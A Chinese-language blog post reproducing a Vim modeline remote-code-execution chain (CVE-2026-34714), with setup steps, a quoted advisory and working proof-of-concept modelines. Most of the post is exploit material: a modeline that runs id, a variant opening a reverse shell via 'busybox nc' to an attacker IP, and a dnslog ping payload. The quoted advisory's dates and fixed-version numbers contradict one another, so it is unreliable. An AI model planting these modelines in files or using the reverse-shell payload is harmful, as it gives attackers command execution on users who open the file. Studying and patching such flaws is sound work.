vim rce 详细复现

Posted

一、漏洞原理及成因

CVE-2026-34714 是一个由两个独立安全漏洞串联形成的高危漏洞链,允许攻击者通过构造恶意文件,在用户用Vim打开该文件时,立即以受害者权限执行任意系统命令

这个漏洞的核心在于modeline功能。modeline是vim的一项特性,允许在文件的首行或尾行设置配置指令的特性,这原本是为了方便项目配置,但不幸成为了攻击入口

第一环:Modeline安全检查被绕过

这是攻击者能够将恶意代码注入Vim的第一步。

  • 根本原因:Vim有一个tabpanel选项,用于配置标签页的显示内容。在受影响的版本中,该选项的定义缺少了一个关键的 P_MLE安全标志
  • 后果P_MLE标志的作用是,要求只有在用户明确开启了modelineexpr安全设置后,才能解析Modeline中的表达式。由于tabpanel缺少这个标志,Vim在解析恶意文件的Modeline时,不会触发安全检查的代码,而会错误地认为设置该选项是安全的,并允许执行其中的%{...}格式表达式,从而绕过了第一道安全检查

第二环:利用 autocmd_add 实现沙箱逃逸

尽管Vim在评估来自Modeline的表达式时,会将其放入一个功能受限的“沙箱”中以防止危险操作,但这个沙箱本身存在漏洞。

  • 根本原因autocmd_add()这个函数缺少check_secure()安全检查。通常,Vim的命令(如:autocmd)在沙箱中是无法注册自动命令的,但autocmd_add()函数接口却遗漏了这一限制。
  • 后果:攻击者注入的恶意代码可以在沙箱内调用autocmd_add(),成功注册一个自动命令。这个自动命令会等待沙箱退出后才执行,从而完成了漂亮的“沙箱逃逸”。当沙箱退出后,这个被注册的自动命令就会以当前用户的完整权限被触发,执行任意操作系统命令

漏洞成因流程

image-20260403212511771

二、漏洞复现过程

这里以linux为例子复现

1、复现前提条件

  1. 在终端输入命令,检查版本(需要在 9.1.1391 - 9.2.0271 之间)
vim --version | head -1

image-20260403213309727

  1. 检查是否有 tabpanel 功能
vim --version | grep -i tabpanel

image-20260403213356753

应显示 +tabpanel

  1. 检查编译模式
vim --version | grep "Features"

image-20260403213539525

应包含 huge

  1. 检查 modeline 是否开启(这一步是最重要的)

使用vim进入编辑器模式中,然后同时按下**shift+:**键

输入

set modeline?

image-20260403213851291

回车确认是否为启用状态

image-20260403214019073

我这里设置了永久启用状态

如果显示的是nomodeline,那就说明未启用,因此我们需要进行启用,并且设置为永久启用

设置永久启用步骤

编辑vim配置文件

vim ~/.vimrc

添加一行内容

set modeline

最后保存并退出,再次重新检查modeline是否为启用状态

  1. 检查是否为 ROOT权限,这个漏洞不能是root用户,只能是普通用户权限
whoami

image-20260403223855499

2、复现步骤

准备好poc文件

poc下载地址

https://raw.githubusercontent.com/califio/publications/refs/heads/main/MADBugs/vim-vs-emacs-vs-claude/vim.md
# Vim tabpanel modeline RCE affects Vim < 9.2.0272

## Summary

A two-bug chain in Vim allows arbitrary command execution when a user opens a crafted file. The `tabpanel` option can be set from a modeline without requiring `modelineexpr`, and its expression is later evaluated in the sandbox. That sandbox can be escaped because `autocmd_add()` does not check whether it is running in a secure context, allowing deferred execution outside the sandbox.

---

## Technical Details

The issue depends on two flaws:

1. **`tabpanel` is missing `P_MLE`**  
   Unlike `statusline` and `tabline`, `tabpanel` is not marked with the `P_MLE` flag. This allows a modeline to inject `%{...}` expressions even when `modelineexpr` is disabled.

2. **`autocmd_add()` lacks `check_secure()`**  
   Vim evaluates insecure `tabpanel` expressions in the sandbox, but `autocmd_add()` can still register autocommands there. Those autocommands execute later, after the sandbox exits.

A modeline can therefore:
- force the tab panel visible with `showtabpanel=2`
- inject a `tabpanel` expression
- call `autocmd_add()` inside the sandbox
- register a `SafeStateAgain` autocommand
- execute an arbitrary shell command once Vim returns to normal context

This yields code execution as the user running Vim.

---

## Steps to Reproduce

This advisory itself is a PoC:

```shell
vim -version
# VIM - Vi IMproved 9.2 (2026 Feb 14, compiled Mar 25 2026 22:04:13)
wget https://raw.githubusercontent.com/califio/publications/refs/heads/main/MADBugs/vim-vs-emacs-vs-claude/vim.md
vim vim.md
cat /tmp/calif-vim-rce-poc
```

# Recommendations

Upgrade to Vim v9.2.0172.

## Credits

Hung Nguyen (movrment) from Calif.io

# Disclosure Timeline

- **2026-03-28:** Vulnerabilities discovered using Claude
- **2026-03-29:** Reported to vim-security@googlegroups.com
- **2026-03-30:** Fix released https://github.com/vim/vim/security/advisories/GHSA-2gmj-rpqf-pxvh
- **2026-03-03:** Public disclosure made

/* vim: set showtabpanel=2 tabpanel=%{%autocmd_add([{'event'\:'SafeStateAgain','pattern'\:'*','cmd'\:'!id>/tmp/calif-vim-rce-poc','once'\:1}])%}: */

image-20260403214726652

在文件末尾行,可以看到攻击者构造好的恶意命令,即执行id命令,并且将结果写入到/tmp/calif-vim-rce-poc文件中

保存好之后,我们使用vim命令打开该恶意文件

vim vim_rce_poc.md

image-20260403215104135

可以看到,成功执行任意命令

若需要进一步利用可以修改poc为下面这种指令,注意:命令包含特殊字符需要进行转义

执行命令反弹poc

/* vim: set showtabpanel=2 tabpanel=%{%autocmd_add([{'event'\:'SafeStateAgain','pattern'\:'*','cmd'\:'!busybox\ nc\ 106.xx.xx.xxx\ 6666\ -e\ /bin/sh','once'\:1}])%}: */

这里的BusyBox 是一个集成了很多 Linux 常用命令的工具集合

通过 busybox xxx 可以调用其中的命令(例如 busybox nc

image-20260403230647697

image-20260403230713425

接下来看看攻击者服务器

image-20260403230551013

可以看到,成功收到反弹的shell

使用ping命令请求dnslog

/* vim: set showtabpanel=2 tabpanel=%{%autocmd_add([{'event'\:'SafeStateAgain','pattern'\:'*','cmd'\:'!busybox\ ping\ -c\ 5\ wds8b0z5.requestrepo.com','once'\:1}])%}: */

image-20260403231546080

image-20260403231600414

我们看看dnslog状态

image-20260403231643967